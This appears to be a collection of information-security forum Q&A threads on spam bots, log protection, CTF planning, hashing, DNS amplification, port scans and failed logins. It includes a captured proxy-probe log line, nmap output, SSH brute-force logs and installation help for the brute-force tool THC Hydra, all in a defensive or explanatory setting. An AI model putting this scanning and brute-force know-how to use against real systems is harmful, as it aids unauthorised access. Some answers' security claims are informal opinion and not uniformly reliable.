The other problematic case if if you have to engage a legal action against a guy that has sent a command to you and now refuses to pay. You can know that he is the owner of a particular key, but you cannot be sure if he is or not Mr X or Mr Y.

What I mean is that if you need a bond between a key and a particular human being, you need a trusted authority with strong administrative procedures.


What are solutions to combat spam bots beyond captcha? I used to believe that captcha-like solutions are the websites' primary way to combat spambots. I used to believe that any site that doesn't implement such solution is likely to be flooded by shady weight loss pills ads.

But this is not the case. There is a counterexample. The Pokemon Showdown website allows unregistered people, who haven't attempted to pass a captcha, to freely talk in their Help chatroom as long as they choose a nick. From my experience this chatroom is not being flooded by shady weight loss pills ads.

According to people knowledgeable in this site:

  Most ways for bots to connect to PS are blocked automatically

(source)

Ah. So bots do try to spam, but are blocked if I understand correctly.

OK then. What are other, non-captcha ways to block bots?

Note I bring the PS example only to back up my point that it is possible; but I'm asking how can this be done, not how PS does this; so please don't close this question as off-topic and only answerable by PS staff.

The primary method of understanding a "bot" is behavior based. Fail2ban is an example of a behavior-based software that blacklists an IP for "behavior" - in this case, brute-forcing an SSH. Other behaviors are excessive comments, posting obvious XSS scripts in comments and having many directory/URL requests within a short period (e.g. the use of dirBuster).  Usually behaviors are identified by using some sort of algorithm or software that detects when an IP/user/role is doing something far more quickly than a human could (whether posting comments or scanning IP's.

Moreover, many firewalls, bot filters and  spam filters have massive lists of domains and IP's that are already known for bad behavior. These RBLs et al. are updated constantly and more well known sites like spamhaus work to keep compromised IP's at bay.

Also noteworthy is that the predominant majority of bots come from certain geo-based IP blocks. I can expect with high regularity daily scans on my work network from East-European, African and Asian IP's. This is where greylisting comes in handy, because a lot of reputable people live in those areas and want to consume whatever content we're serving up, but that area also produces a lot of bots.


How to prevent admins to access logs from their own activity? The idea would be to prevent an attacker who has stolen a root/admin account or escalated to clear his own activities or even read the traces of what he is doing. Let's assume we are under Linux, we log with auditd, have centralized logs, and we can use MAC with SELinux. But I am interested also for answers under Windows.

One solution would be to forbid all root accounts to access the logs. Logs are managed only by authorized processes on specific servers from logrotate, syslog, and all SIEM stuff. So only the SOC can read and analyse the admins' logs. Only a purge process can delete old logs. Can anyone confirm this is doable?

Is it possible to have something more flexible where admins with their own root privileges could read the logs of other root accounts?

The accepted solution to this is to not store the logs locally, but on a log server. Once the logs are there, you can restrict or limit access as you see fit.

In some log server/aggregator solutions, you can limit a user from seeing entries that contain references to certain data (like their user accounts or machine IPs). This means that you can enable admins to see other admin activity, but not their own.

You typically want to place alerts within the log server/aggregator to trigger if logs from any one machine stop coming in or are reduced below certain thresholds, which helps to detect if a local admin has prevented the logs from being shipped to the log server/aggregator.

Syslog servers, SIEMs, log aggregators, ELK stacks etc. There are numerous options for you to explore.


How to organize a CTF? In the context of an IT event, my team would organize a CTF (Capture The Flag).
About the challenges (we’re working on them). I want to have some references on the types and levels of difficulty that we find on CTF generally. (The target audience varies from students (beginner) to security experts and regulars participant in CTF).
Then for the deployment, do we should use a local server? Or a VPN?
In fact, we lack experience, and I need some advices/suggestions on all organizational aspects.
Thank you in advance.
D3_4dl1n3

You can find a lot of CTF event in this website as a reference about how they organize it, their CTF's type, and what kind of challenges offered.
For a more detailed and technical stuff about CTF challenges, I recommend you to read some CTF writeup by active CTF teams. As an example, Dragon Sector is an active team and usually make some writeup after finishing a CTF event, their blog is a good start to explore.


Using the middle name instead of first name for OpenPGP? I'm just getting started with OpenPGP. I've generated a key, talking to (very few) friends involved with the technology.  But I have a concern: I go by my middle name (with all emails, friends, etc.) but the first name also shows up on IDs.  I used the 'Middle Last' pattern when I created a key.

Will I have any trouble (at signing parties, etc.) if the name with the key doesn't match the name on official ID?  It will have the name on it (just as a middle name).

There is no ruling what people have to sign or may not, everybody will decide on his own. You might miss some signatures, but I guess most people will not care about which of the first names is included.

Quite a lot people (at least loosely) follow the rules defined by the CAcert Practice on Names document, as CAcert had some well-grounded discussions on names. CAcert's require one, but allow any number of first names to be listed in the certificate.

You will have larger problems when using nicknames, like widely spread in the Netherlands.


What is the best way to prevent code injection in Apache/PHP? I have recently setup wordpress on a VPS, and it is under continuous attack since. I have taken some measures to protect from some bruteforce attacks, however looking at some of the logs I am not sure if that's enough.

Below is one of the many rough requests I see in my Apache log-

12x.24x.3x.45 - - [30/Oct/2017:20:34:24 +0000] "GET http://4x.9x.23x.250:58204/jsip.php?zl=IP&IP=3x.18x.24x.19x&DK=80&DD=RZLWHADALAHBNPRL HTTP/1.0" 301 395 "-" "Mozilla/5.0  (Windows NT 6.1) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.92 Safari/537.1 LBBROWSER"

As far as I could understand, attacker is trying to inject and execute PHP code from remote site, and server responded with 301 (permanently moved) and response contained 395 bytes.

How can I protect server from processing such requests?

.htaccess rule to deny values like that?
Apache mod rewrite to reject such request?
Sanitize from application load balancer?
Is Apache/PHP/Wordpress vulnerable to such requests?

Shouldn't they already have this protection, and I can depend on them and relax?
If not, I don't understand how so many Wordpress sites are still up, assuming that many of them probably did not have security experts working for the site.

... "GET http://4x.9x.23x.250:58204/jsip.php?zl=IP&IP=3x.18x.24x.19x&DK=80&DD=RZLWHADALAHBNPRL HTTP/1.0" 301 395 ...

  As far as I could understand, attacker is trying to inject and execute php code from remote site, ...

I don't see any injection attempt here. This looks more like somebody is trying to use your server as a proxy to reach http://4x.9x.23x.250:58204/.... It might be somebody scanning the internet to find open proxies. As long as your system is not configured to be an open proxy there is no need to worry about this, i.e. treat this request as the usual noise you get when having a system accessible from the internet.


Why can't we block DNS Amplification attack by blocking UDP packets or DNS response packet? I mean if the attacker tries to ask all the open DNS resolver respond to a web server. The web server can just block its UDP ports.
If the all the DNS response go to a Authoritative Nameserver(victim), it can just drop all DNS response.

Or is DNS Amplification all about bandwidth?

We can but...

At the point the query makes it to your server it's already too late. Your server will waste its resources trying to do something with the packets and the requests. Even if you have something like iptables drop all connections it's still going to use up all of the bandwidth on the server inbound. Redirecting all traffic someplace else eats up your outbound bandwidth and propagates the network failure between your server and the now new target.

It's a network infrastructure issue. Not a server issue (unless it's an open recursive resolver). The traffic needs to be handled (killed) further up the pipe. Here's a CERT advisory from March 23rd.

  Unfortunately, due to the overwhelming traffic volume that can be
  produced by one of these attacks, there is often little that the
  victim can do to counter a large-scale DNS amplification-based
  distributed denial-of-service attack.  While the only effective means
  of eliminating this type of attack is to eliminate open recursive
  resolvers, this requires a large-scale effort by numerous parties.

Additionally

  Source IP Verfication: Because the DNS queries being sent by the attacker-controlled clients must have a source address spoofed to
  appear as the victim’s system, the first step to reducing the
  effectiveness of DNS amplification is for Internet Service Providers
  to deny any DNS traffic with spoofed addresses.


How does file hashing works? So when you run sha256sum filename OR md5sum filename, does it generate hash based on the file size or the whole contents of a file?

I'm wondering how its different from password hash. Given a string, the program uses its algorithm to create a hash and similar way it decrypts it?

A hash is a one-way digest function. It takes a number of input bytes and computes a fixed-length value from it. If you compute the same hash again, you get the same result. Generally the numeric value of the length of the input is not considered, as the data is inherently changed if you change the length.

Hashes cannot be decrypted. They are lossy compression functions by nature and in most cases you cannot recover the full original data from them (this may not be the case for non-cryptographic indexing hash functions and small input values).

There are three main types of hash function: those used for indexing, integrity, and cryptography.

An indexing hash (e.g. MurmurHash or Java's hashCode) can be used to divide equal or very similar values into groups for improved performance in collection operations. For example, by precomputing a hash of each object and keeping the internal array for a collection sorted by the objects' hashes, lookups can be performed in worst case O(log n) time rather than O(n) using a binary search. The general requirements for indexing hashes are as follows:

Extremely high performance
Generally specialised to certain input data types (e.g. ASCII strings or pointers)
In some cases, designed to produce output values which represent the magnitude of the input value. For example, in string searching, you might choose to convert the first four characters to their ASCII integer values and interpret those together as a 32-bit integer, since sorting that integer also pre-sorts the list alphabetically.

An integrity hash (e.g. CRC32), sometimes called a "redundancy hash", has the properties necessary to provide a fairly good indication of accidental corruption of a file. These hashes will generally produce a different hash when a bit is changed, but will not withstand someone purposefully trying to generate a collision. For example, the strings "Maria has nine red beds." and "Steven has fifteen white tables." are different but generate the same CRC32 hash of 0ECB65F5. The general requirements for integrity hashes are as follows:

Have a high statistical likelihood of producing a different value when an input bit is changed
Works with any type of input data (universal)
Very high performance

These two hash function types generally make little effort to prevent someone from learning about the input data or finding collisions. This is why they are considered non-cryptographic.

A cryptographic hash such as MD5, SHA1, SHA256, or Keccak, has many more requirements. These hashes are designed to be highly resistant against attempts to discover any information about the original input data, or collisions in the hash function. The general requirements for a cryptographic hash function are as follows:

It should be very difficult to determine any information about the input value from the output value, even if an attacker can select parts of the input.
Each output bit changes with a probability of roughly 50% when any one bit in the input changes.
Resistance to first order preimage attacks, i.e. if someone gives you a hash value y, it is very difficult to find some value x such that h(x) = y. Or, put more simply, it is computationally infeasible to find the input value that produced a particular output value.
Resistance to second order preimage attacks, i.e. for any given input a it is very difficult to find another value b such that h(a) = h(b). Or, put more simply, it is hard to find a collision for a given plaintext.
General collision resistance, i.e. it is hard to find any two values a and b such that h(a) = h(b) even if the attacker selects both a and b.
Works with any type of input data (universal)
High performance

As you noted, it turns out that these functions are quite useful for obscuring passwords and turning passwords into cryptographic keys, although their main purpose is not for password storage or key derivation at all. In fact, it turns out that using a plain hash function for either of these purposes can be quite insecure. You can read about the arms race between attackers and defenders of passwords here, and more about good practice here.

When a hash function or password storage function is used, the verification is not done by decrypting anything. Instead, the password given by a user is hashed in the same way and the resulting hash is compared against the one in the database. If the password is correct then the hash will be the same, otherwise the hashes will not be equal and the server can reject the login attempt. This is generally flawed with basic hashes like SHA256, though, so I suggest reading the two links I posted above to better understand why and what good practice options you have.


Is a thousand character password worth the security on my personal accounts? As for now:

don't care about user experience, meaning that time spent reading, typing, memorizing password.
not thinking about quantum computing attacks.

8 characters good, 24 characters better, 1000 characters best?

It's not worth it.

The security of the password cannot be stronger than the security of of the hashing algorithm used on the server to store your password. The password you used, no matter how long, are going to be hashed and stored in a fixed size hash. Pretty much all password hashing algorithms in common use are 256-bit or less, so using longer password than that mathematically won't give any additional security.


Are revealed personal emails a security risk? I am a minor recently employed by a retail company, in the same batch as 10* other new recruits. I have not yet had the first day, however our manager has sent us all a warm welcoming email.

The manager included everyone's emails in the CC box. That is, I (and the other 10* recruits) could see each other's personal emails:

johnsmith@gmail.com
janedoe@hotmail.com

And the like. We have not met eachother in person yet.

I thought this posed a security risk - but I couldn't say why. I was definitely not happy with the thought of my personal email being given to 10 strangers.

Does it create security problems? Or is it just me worried about privacy?

*Not really 10, but 10 is a nice round number that approximates the true quantity reasonably well.

There are some downsides to having your email spread to strangers:

The more spread your email is, the more likely you are to get spam, phishing emails, emails containing malware, etc. If anyone of those 10 people get infected by a virus, your email address will be in their contact list. (Recieving such emails does not automatically mean that you will get infected, though.)
It can be used to research more information about you. One could Google it and see what comes up. Or try it on different sites vulnerable to user enumeration to see if you are registered there.

But these really aren't any biggies. And to be honest, your email is probably spread far and wide already in all sorts of places beyond your control. I wouldn't worry about a couple of handfuls of future collegues getting it as well. The behaviour of your employer is both reasonable and expected, and not something I would make a fuss about.

If you still feel the need to limit the spread of your email I suggest you use multiple accounts for different purposes. E.g. you could have one email that you use for sensitive business (e.g. account recovery), and another that you hand out to people you would not trust keeping it confidential.


Protect partition from formatting How can i protect my Linux and Windows partitions from being wiped,from a windows installation CD,with password?

Only if your drive has such functionality internally built-in (which circumvents all OS and User privileges) or if you are using some sort of hardware-level lock. Other than this, it is impossible to stop a user who has both physical access and admin privileges from accessing/formatting data on your drive.

You can however, using software like Gparted, hide the drive which will prevent from writing/formatting in normal usage but I don't think it will help if someone is using a windows installation CD (or some bootable partition software).


Strange activity on my computer, possibly hacking? So yesterday I got on my computer and changed my desktop, the next day I got on my computer and it froze so I rebooted it. But when I did my desktop background had changed and when I went on google and a ton of searches had shown up that I hadn't made and all of them looked like this "gdyfpazjexc -site:youtube.com"

Here is a screen shot of when I typed in the letter L

I don't know what these searches are but they definitely have some red flags. And when my computer crashed when I got back on it was running really hard. Ill take some notes in the comments section. If anyone could help me that would be great thanks!

It appears that you have some malware on your computer which is performing something which is known as Blackhat SEO / SEO spam.

Search engine optimization is the process of making a page appear higher up on the page ranking when someone makes a search query.

Malicious SEO uses methods such as backlinks from hacked websites, performing automated requests from malware-infected PCS and other methods to attempt to trick Google's algorithm into ranking a page higher.


Problem identifying this encoding schematic into plain text Im really new to all of this i'd like some insight.
the encoding scheme looks like this

e0b7 e51f a24f 2ee8 f950 ecc4 d46b 6b3b 11bd 1930 ccb0 3c9f ecf5 368d f570 c72d a37e 47a6 bf03 2cf4 947c e913 a32a 5a80 379f

If i knew what format this is i'd be able to get it into plane text. thats all i need. simple question i hope.

The module codecs from python can do that for you

print(codecs.decode("707974686f6e2d666f72756d2e696f", "hex"))


Google Chrome weird random Cipher Suite This websites gives you information on the SSL cipher suites your browser supports for securing HTTPS connections.

If you browse it with Google Chrome, you'll probably see some weird Cipher Suites in your browser supported Cipher Suites list. (You'll see them in the first suggested Cipher Suite location and also in the extensions section):

look at baba in the image below (and also the 3a3a in the extensions):

It seems that this number is random. I mean if you refresh the page, those number will change:

look at dada in the image below (and also the 1a1a in the extensions):

What are these random weird numbers? If those are chrome's proprietary cipher suites (those are not common cipher suites), why should chrome change them randomly?

This is a feature to prevent servers to get buggy. From GREASE for TLS:

  TLS clients offer lists of 16-bit code points (e.g. cipher suites) that servers select from. To remain extensible, servers must ignore unknown values. However, servers may have bugs and reject unknown values. These servers will interoperate with existing clients, so the mistake may spread unnoticed, breaking extensibility for the whole ecosystem. We will reserve some values to advertise at random, to prevent such mistakes before broken servers are widespread.

And once you know how it is called you can also find the feature in the source code of BoringSSL (the OpenSSL fork used by Chrome).

  // Add a fake cipher suite. See draft-davidben-tls-grease-01.
  if (ssl->ctx->grease_enabled &&
      !CBB_add_u16(&child, ssl_get_grease_value(ssl, ssl_grease_cipher))) {
    return 0;
  }

And the values it will announce can be found in the internet draft:

  |       Value       | Description | DTLS-OK |    Reference    |
  +-------------------+-------------+---------+-----------------+
  | {TBD} {0x0A,0x0A} |   Reserved  |    Y    | (this document) |
  | {TBD} {0x1A,0x1A} |   Reserved  |    Y    | (this document) |
  | {TBD} {0x2A,0x2A} |   Reserved  |    Y    | (this document) |
  | {TBD} {0x3A,0x3A} |   Reserved  |    Y    | (this document) |
  ...
  | {TBD} {0xEA,0xEA} |   Reserved  |    Y    | (this document) |
  | {TBD} {0xFA,0xFA} |   Reserved  |    Y    | (this document) |

Note that this answer here is based on my answer to a similar question in stackoverflow.com.


Is time zone information saved in files? Do files written and timestamped in a certain timezone simply keep the -0000 time in their modification and creation timestamps and adjust the time displayed according to the user's timezone? Or do files keep the timezone information?

So if someone in timezone A sends a file to someone else in timezone B, can the latter know A's timezone just by inspecting the file? (I'm supposing not, but not sure)

It depends. If you're transmitting the data over the internet, such metadata is usually not preserved. If you hand over a USB stick, the "Last Modified" and "Date Created" fields might give some indication of timezone if you know what local time the files were modified / created - just a simple subtraction will work. The same goes for RAR archives, which preserve that metadata in the file table.

I'm not aware of any archive formats or filesystems that store the timezone as part of the timestamp metadata.


do different subnet masks on home network provide any security? So I have two routers on my home network: one is provided by my ISP, and the other is my private router.
Router A- ISP router:     192.168.1.x
router B- private router: 192.168.2.x

Clients on my router A's LAN network cannot ping clients on my B's network. However, clients on B can ping clients on A.
Does this provide any security, if I allow friends/visitors to use my ISP's router? Or is this only security through obscurity. So if an attacker managed to get into router A, can they see clients on router B easily?

Well that's happening because it's probably using NAT for router B. It's not bad but it's not bad practice. Obviously if they can get into router A then technically they can indeed take over the network. So if router B sends traffic router A will see that flow.

Now if you want a good setup, the key is to make several subnets and restrict them accordingly. For instance make three different subnets:

192.168.1.0 management
192.168.2.0 trusted
192.168.3.0 visitors

These networks should be separated and should not route between each other (but you can route from trusted to visitors, but not vice versa (firewall function)). You can then assign a port on your router which has the 192.168.1.0 network configured so you can access the managment interface (this should not be reachable from the two other networks). This prevents attackers from accessing your routers.


Should web application for methods PUT and DELETE return the same response as for GET My web application for methods PUT, DELETE and any junk HTTP method return the same response as for GET method (html main page, nothing is uploaded or deleted), for TRACE there is response 405. Is this insecure? Many resources recommends to allow only GET and POST, does this mean that the response should be "405 Method not allowed"?

Quite a lot of effectively static sites ignore the HTTP verb used, treating them all as GET, with the exception of HEAD, which only returns the headers for the response. This isn't necessarily a problem, if the site will never make use of the other verbs, but can contribute to a technical debt if you start using them at some point in the future.

For example, if you implemented an API which did allow the replacement of content via PUT requests, using the same code as your main pages, but forgot to restrict the use of PUT to the API, you could end up with people able to edit your main pages. This is a bit contrived, but this kind of thing does happen.

In general, it's just sensible to use an "allowed verbs" approach and to ensure that if you need something different for a particular section of your site, it only works there.


Tracking Down Failed Logins I've recently implemented a SIEM solution, and am now able to see a large amount of failed login attempts from legitimate users. In fact, it's such high volume that my SIEM is correlating them to be Brute Force attacks. However they come from a variety of accounts and computers, and are just simple auth attempts against the Domain Controller. I am confident they are not malicious.

What is the best way to track down a failed authentication event on a Domain Controller down to what application in the environment causes the authentication? They are similar to generic events found through Event Viewer on the Domain Controller, and I can see the hostname and username of where the auth came from.

Here is an example of the flood of logs I'm dealing with:

AV - Alert - "1566830804" --> RID: "18130"; RL: "5"; RG: "windows,win_authentication_failed,"; RC: "Logon Failure - Unknown user or bad
password."; USER: "(no user)"; SRCIP: "192.168.1.59"; HOSTNAME: "(DomainCntrl) 192.168.1.2->WinEvtLog"; LOCATION: "(DomainCntrl)
192.168.1.2->WinEvtLog"; EVENT: "[INIT]2019 Aug 26 08:46:42 WinEvtLog: Security: AUDIT_FAILURE(4625): Microsoft-Windows-Security-Auditing: (no
user): no domain: DomainCntrl.MyDomain.com: An account failed to log on. Subject:  Security ID:  S-1-0-0  Account Name:  -  Account Domain:
-  Logon ID:  0x0  Logon Type:   3  Account For Which Logon Failed:  Security ID:  S-1-0-0  Account Name:  MyUsername  Account Domain:  MyDomain
Failure Information:  Failure Reason:  %%2313  Status:   0xc000006d  Sub Status:  0xc0000064  Process Information:  Caller Process ID: 0x0
Caller Process Name: -  Network Information:  Workstation Name: Win10-Wrk  Source Network Address: 192.168.1.59  Source Port:  57648  Detailed
Authentication Information:  Logon Process:  NtLmSsp   Authentication Package: NTLM  Transited Services: -  Package Name (NTLM only): -  Key
Length:  0  This event is generated when a logon request fails. It is generated on the computer where access was attempted.[END]";

Dealing with Windows failed events can be a very hard task. Firstly, you have consider 2 types of failed events in Windows:

Kerberos logins (not in your scope): ID 4768, 4769, 4771
Windows logins: ID 4625, ID 4776

Considering now your event, the most meaning full events are the following:

Logon Type:   3   > network event
Workstation Name: Win10-Wrk  > source host, but sometimes can be wrong, so better trust the IP
Source Network Address: 192.168.1.59
Sub Status:  0xc0000064 > MOST IMPORTANT, the error code

In this situation, the error code 0xc0000064  means that the account does not exist. This can report a tentative of account enumeration, but it can also be created because of wrong configuration on domain, servers or even sometimes Exchange mail servers.

What I would suggest now it to verify the Kerberos events on the concerned DC and also enable the failed login auditing on the source machine. This will provide additional information for you analysis.

In case you would like to move one step forward, you can implement the following rule/use case logic in your SIEM for the brutforce rules:


Security of bank account using a 8 digit password Few months ago, my bank forced me to change my password. It was a random 32 characters long password, stored in a well-known password manager.

The new password had to be exactly 8 digits, to be entered manually by clicking on a randomly organized virtual keyboard (of 10 buttons, from 0 to 9), with some JS code preventing any copy-paste or the use of my password manager.

My questions:

How does that new password policy changes the overall security of my bank account ?
Should I be worried that now my bank account is only protected by an 8-digit password, whereas standard security rules I know for years do advice for using a wide range of characters, and (way) more of them (typically, 12 characters mixing digits, lower, upper case and special characters) ?
Since my bank is not the only one to switch to that security policy (I know at least 2 other banks doing so, one being out of my country), I start to think a security group listened by banks is the origin of that policy change. Where do I start to look to learn more about this sudden and seemingly global change of policy ?

How does that new password policy changes the overall security of my bank account ?

It's gotten worse. The concept of using a virtual keyboard is relatively old, can be bypassed, is still vulnerable to replay attacks and there's enough malware that scrapes mouse movements and matches it to partial screenshots to enable decoding of this. provided your password is static

What would have been a significant step up in security would be the implementation of two factor authentication. Even with the decrease in password strength and virtual keyboard gimmick.

  Should I be worried that now my bank account is only protected by an 8-digit password, whereas standard security rules I know for years do advice for using a wide range of characters, and (way) more of them (typically, 12 characters mixing digits, lower, upper case and special characters) ?

Well, yes, from a technical point of view that is a significant step backwards in security.

  Since my bank is not the only one to switch to that security policy (I know at least 2 other banks doing so, one being out of my country), I start to think a security group listened by banks is the origin of that policy change. Where do I start to look to learn more about this sudden and seemingly global change of policy ?

No clue, and it's even more worrying if in fact they changed because others did.


Can a file that has been opened and read still contain a virus? When I download files I am unsure of from the web I typically download them into Sandboxie to be safe.

If I open a downloaded file within the sandbox (a pdf of a book for example) and I open to find that it is the pdf I expect, is it then definitely 100% safe to move to my main system? Or is it possible that there is still something malicious hidden within it that is able to affect my system negatively?

There are numerous bypasses to the methods used to check if a file is Malware.

Some advanced malware detects hosting environments like sandboxes or virtual machines and will not trigger until the file is open directly on your machine. Malware can be set to activate after a certain period of time that such as day so running in a sandbox will not detect it.

Malware and anti-malware is an arms race so what can protect you today may not tomorrow due to bypasses or creative thinking.

So yes there is a possibility this could happen.


-bash: -sudo: command not found Some dependencies were missing when I installed THC Hydra. I found this site which directs me to install the missing package:

sudo apt-get install libsvn-dev libapr1-dev libaprutil1-dev

But when I try this, I receive the following error message:

-bash: -sudo: command not found

I tried searching the web for how to install the sudo command, but I cant find anything. Any ideas?

The sudo command is probably not installed.

apt-get install sudo


Are temporary blocks sufficient response to network probes? We have the option of using an automatic blocking feature of our firewall to temporarily block the source IPs of network probes. It is fast and automatic, and it expires after a set amount of time.

However, our current practice is to manually put a permanent block in place for the source host (or net block for countries where we don't do business). I feel this is unmanageable and ineffective.

Here is my reasoning:

These are not sophisticated attackers targeting us specifically, most of these are probably random scans looking for low hanging fruit. A sophisticated attacker won't get caught by the firewall's probe detection, and will have other IPs in other netblocks available. Blocking the source of obvious probes will only deter the casually curious and the petty criminals.
By the time we manually respond to this event, the reconnaissance is usually over. We would be better off blocking the probe as it occurs, before they have time to get a complete picture.
Many of these are going to be dynamic IPs, which could later be reassigned to legitimate users who need to access our services.
Over time, it will become increasingly unmanageable (the list is already quite large), and will pose more potential for disrupting legitimate communication.

To date, we have acted in the belief that a permanent block is necessary to protect the network. We could always combine the two approaches, and add a permanent block after the automatic block activates, but I am wondering if the permanent blocks accomplish anything other than creating a false sense of security.

What is considered the best practice for this situation, or does anyone care to offer recommendations?

Security, in all senses is a layered approach. Each defense you have is one more against the plethora of attacks that can be thrown at your network.
Automatically or permanantly banning IP addresses that are actively scanning you is fine, it provides a mild level of security in that those IP's will then be unable to attempt more advanced scanning techniques against your machines without changing IP's. With any luck, they'll believe you're offline altogether and just move on to the next target. Usually a block of a few days is more than enough.

Its important that you ensure your firewall is configured correctly and does not respond when it does not need to.

  A sophisticated attacker won't get caught by the firewall's probe
  detection, and will have other IPs in other netblocks available.

There are other solutions available like Intrusion Detection Systems (IDS's) that may be able to combat more sophisticated attackers if they are a worry.

  We would be better off blocking the probe as it occurs, before they
  have time to get a complete picture.

as a general rule, You should be dropping all traffic that does not match your inbound rules anyway. If the firewall then notices traffic that is attempting to scan your network, then add them to the blacklist (permanently or otherwise)

  Many of these are going to be dynamic IPs, which could later be
  reassigned to legitimate users who need to access our services. Over
  time, it will become increasingly unmanageable (the list is already
  quite large), and will pose more potential for disrupting legitimate
  communication.
  This is why it is reasonable to have the temporary blocks (for 'x' number of days) in place.

Best practices are to keep blocking (even if temporarily) any suspicious/hostile IP addresses. This obviously cannont be the only security you have in place so checking that your firewall rules are up-to-date and correct as well as investing in an IPS should be something worth thinking about.

Hope that helps.


Is running a TOR node from device in home network secure? I want to run a TOR node using a small ARM device mini server. I already have a good firewall set but feel a bit uncomfortable when giving away my IP address to the open web by opening a port. If I use a VPN service would it help obfuscate my personal IP address? What are the implications if it does not?

This is a bit of a grey area and it will largely depend on the laws in place in your country. In some countries you can be held accountable for the traffic you allow being passed over your tor node. Some countries consider Tor nodes to be carriers, meaning that if you do not actively monitor all traffic, you can't be held accountable for what goes over it (similar to an ISP).

There are cases where Tor node owners were succesfully prosecuted for hosting a Tor node which was abused for accessing illegal content or masking an attack towards the regular internet. This is of course a risk you need to take into account, if you aren't prosecuted the police might still question you up to a point where it is almost harasment. I'm not saying that this is common, but it can happen, especially in countries where there is less police oversight or strong tendency of censorship/internet control.

In most countries there aren't any clear defined rules, and precedents may exist from previous lawsuits, so it is best to consult a lawyer in your case. Just be aware that you can get into trouble for hosting a Tor node, how noble your cause or intent may be. The fact that it is still used a lot for (unfortunately mostly) criminal purposes puts Tor (or any other anonymity service) in a bad daylight.


Service running on a closed port? I just finished scanning a host and I found something unusual. My question is regarding port 50000 and 50002. Nmap shows that these ports are closed and also identifies the services running on them!How is that possible? Doesn't a closed port mean that there isn't anything running on it?

papagolf@Sierra:~$ nmap -v www.****.com
Host is up (0.28s latency).
rDNS record for 50.***.***.***: -----
Not shown: 987 filtered ports
PORT      STATE  SERVICE
21/tcp    open   ftp
22/tcp    open   ssh
80/tcp    open   http
443/tcp   open   https
50000/tcp closed ibm-db2
50001/tcp closed unknown
50002/tcp closed iiimsf
50003/tcp closed unknown
50300/tcp closed unknown
50389/tcp closed unknown
50500/tcp closed unknown
50636/tcp closed unknown
50800/tcp closed unknown

From nmap documentation here: https://nmap.org/book/man-port-scanning-basics.html

  A closed port is accessible (it receives and responds to Nmap probe packets), but there is no application listening on it.

This means that the host has responded (most likely with an RST) to the SYN packet sent by Nmap. I didn't see any explicit reference to this in the standard (RFC 793), but this is the most reasonable explanation that comes to my mind. It would be normal for Nmap to interpret this as a closed port - yet, use it to sort of "make a note" that hey there is a host on this IP address; and even try to use possible variations in responses to fingerprint the OS.

Yes, as already mentioned by @schroeder, the label to the port is simply from an internal reference table - not by any real fingerprinting.


What's the purpose? Strange login attemps "sshd[***] Received disconnect from **.**.**.**: 11: Bye Bye [preauth]" I've seen something like:

sshd[***]: Invalid user oracle from **.**.**.**                          // 1st line
sshd[***]: input_userauth_request: invalid user oracle [preauth]         // 2nd line
sshd[***]: Received disconnect from **.**.**.**: 11: Bye Bye [preauth]   // 3rd line

and I know that's someone tries to log into my server, but what does it mean when there's only the 3rd line repeating over and over again for, like, 3000+ times?

I mean, like this (there's no Invalid user or input_userauth_request):

sshd[***]: Received disconnect from **.**.**.**: 11: Bye Bye [preauth]
sshd[***]: Received disconnect from **.**.**.**: 11: Bye Bye [preauth]
sshd[***]: Received disconnect from **.**.**.**: 11: Bye Bye [preauth]

What's the purpose of doing so, what's he trying to do since it's "disconnect" instead of trying to login?

This error rises from a fatal error in the authentication process (see monitor.c of OpenSSH versions 6.1p1+).

It is likely that the attacker is using some custom code to brute-force the server which is ending up in malformed authentication requests being sent, resulting in the server killing the connection. So from the code it appears they are in fact trying to login, but the server doesn't like how they're attempting that.

As such, these log entries aren't anything to worry about unless you think you are likely to be a targeted victim for any reason (in which case you should be taking extra precautions such as refusing password-based logins).

In any case, I suggest you install the simple fail2ban program if you haven't already which will significantly hinder cookie-cutter brute-force authentication attempts.


Retention of IP Address What is the point of a website deleting IP address logs after a certain period of time? As far as I know, deleted data can be recovered easily, or is there some catch here?

Typically, this is done simply to save space and performance reasons. No one can reasonably keep logs forever, as this would take a lot of space, and huge logs don't make Web servers happy.

Moreover, there is simply no reason. As far as I know, there is no regulation forcing you to keep logs literally forever. A few decades, at most, depending on your industry. So it would be an unnecessary expense.

Finally, I am not a legal, but there might be regulations (probably GDPR) forcing you to not keep logs forever, i.e. to delete them after a while.


Is using Gmail's browser-based client, more secure than using IMAP? I never use the same password twice and my passwords are always comprised of a long, random string of letters, numbers and symbols. (with an offline password manager to store each password string)

However, I wondered if (even with my strong passwords) leaving IMAP enabled left my Gmail account at risk from brute force password cracking.

Therefore, I was curious if it would be safer to leave IMAP off and only access Gmail via a web browser. (using HTTPS) Or, if such a precaution was unnecessary.

===

Note: The reason that I thought Gmail's website would be more resilient to brute force password cracking, is that Gmail's website requires entering a CAPTCHA code, after a certain number of failed login attempts---while IMAP does not appear to offer that protection.

Based upon your password habits, I don't think it will make a substantial difference.

If you use a long, strong, random password, then it will be infeasible for anyone to crack your password through online guessing (i.e., automated attacks, where the attacker repeatedly connects to Google and tries one guess at your password at a time).  This is true even if Google doesn't use a CAPTCHA for the IMAP and even if Google doesn't do any rate-limiting after several erroneous password guesses (which they might).  Breaking your password in this way would simply take too long.  Consider, for example, a 8-character random password made of alphanumerics. There are 62^8 possible passwords.  That's about 10^14. So, to find your password, an attacker would have to try logging into Gmail 10^14 times. At a rate of 1000 login attempts/second, that'll take 10^11 seconds = 3,000 years.  Therefore, it's not worth worrying about it.

The weakest link in your security is likely to be something else -- e.g., the security of the client device you use.

In other words, the difficulty of guessing your password is not the weakest link in the chain, so (by Amdahl's law) it's not worth optimizing it: making password guessing harder won't make much of a change to the cost of the cheapest attack, and won't make much of a change to your overall risk.

P.S. I do recommend that you make sure to always use SSL or TLS, to prevent folks from eavesdropping on your password.  For instance, use IMAPS (IMAP over SSL/TLS) to connect to Gmail.  If your server happens to support both, IMAPS is probably superior to STARTTLS, because STARTTLS will fall back to unencrypted cleartext communications if it cannot negotiate TLS, whereas IMAPS won't.


Serving data from an encrypted database over an encrypted connection There is encrypted data in the database (asymmetric FYI). It is to be viewed as decrypted on the website. The data can be sent to the client as encrypted to be decrypted on the client's computer, or the data can be decrypted on the server and then sent to the client in plain text.

Now it occurs to me that I don't want anything to be sent from the server to the client as unencrypted. The data needs to be transmitted as encrypted and decrypted on the client side.

If the server is sending encrypted data, a key needs to be sent with it. How does sending a key with the encrypted data not completely defeat the purpose of encrypting it in the first place?

Sending the private key along with the encrypted data is the same as having no encryption at all, as anyone monitoring the traffic would be able to decrypt the data.

